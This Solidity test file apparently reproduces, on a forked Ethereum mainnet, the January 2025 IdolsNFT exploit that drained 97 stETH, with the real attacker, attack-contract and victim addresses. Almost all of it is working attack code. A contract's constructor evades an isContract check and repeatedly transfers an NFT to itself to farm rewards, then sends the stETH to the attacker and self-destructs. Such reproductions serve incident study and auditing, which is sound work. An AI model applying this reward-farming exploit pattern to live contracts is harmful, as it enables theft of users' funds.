src/test/2025-01/IdolsNFT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 97 stETH
8// Attacker : https://etherscan.io/address/0xe546480138d50bb841b204691c39cc514858d101
9// Attack Contract : https://etherscan.io/address/0x22d22134612c0741ebdb3b74a58842d6e74e3b16
10// Vulnerable Contract : https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094
11// Attack Tx : https://etherscan.io/tx/0x5e989304b1fb61ea0652db4d0f9476b8882f27191c1f1d2841f8977cb8c5284c
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x439cac149b935ae1d726569800972e1669d17094#code
15 
16// @Analysis
17// Post-mortem : https://rekt.news/theidolsnft-rekt
18// Twitter Guy : https://x.com/TenArmorAlert/status/1879376744161132981
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant IDOLS_NFT = 0x439cac149B935AE1D726569800972E1669d17094;
23address constant ATTACKER = 0xE546480138D50Bb841B204691C39cC514858d101;
24address constant ATTACKER_2 = 0x8152970a81f558d171a22390E298B34Be8d40CF4;
25address constant ST_ETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
26uint256 constant TOKEN_ID = 940;
27 
28contract IdolsNFT is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 21624139 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("mainnet", blocknumToForkFrom);
33        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = ST_ETH;
35    }
36 
37    function testExploit() public balanceLog {
38        address contractAddress = vm.computeCreateAddress(address(this), vm.getNonce(address(this)));
39 
40        vm.prank(ATTACKER);
41        IIDOLS(IDOLS_NFT).safeTransferFrom(ATTACKER, contractAddress, TOKEN_ID);
42 
43        new AttackContract();
44 
45        // This process repeated 15 times between block 21624128 and block 21626362
46        // ref: https://etherscan.io/txs?a=0xe546480138d50bb841b204691c39cc514858d101&p=3
47    }
48}
49 
50contract AttackContract {
51    // Put code in the constructor will bypass the Address.isContract() check
52    constructor() {
53        for (uint256 i = 0; i < 2000; i++) {
54            uint256 totalRewards = IIDOLS(IDOLS_NFT).allocatedStethRewards();
55            uint256 rewardPerGod = IIDOLS(IDOLS_NFT).rewardPerGod();
56            if (rewardPerGod > totalRewards) {
57                break;
58            }
59            // Transferring an NFT gives rewards to both sender and receiver.
60            // Using safeTransferFrom with same sender/receiver exploits this to earn rewards
61            // without actually losing the NFT token
62            IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), address(this), TOKEN_ID);
63        }
64 
65        // Transfer all stETH and NFT token back to attacker
66        uint256 stEthAmount = IERC20(ST_ETH).balanceOf(address(this));
67        IERC20(ST_ETH).transfer(msg.sender, stEthAmount);
68        IIDOLS(IDOLS_NFT).safeTransferFrom(address(this), ATTACKER, TOKEN_ID);
69        IERC20(ST_ETH).approve(ATTACKER_2, type(uint256).max);
70        IERC20(ST_ETH).approve(msg.sender, type(uint256).max);
71 
72        // Self-destruct the contract
73        selfdestruct(payable(msg.sender));
74    }
75}
76 
77interface IIDOLS is IERC721 {
78    function allocatedStethRewards() external view returns (uint256);
79    function rewardPerGod() external view returns (uint256);
80}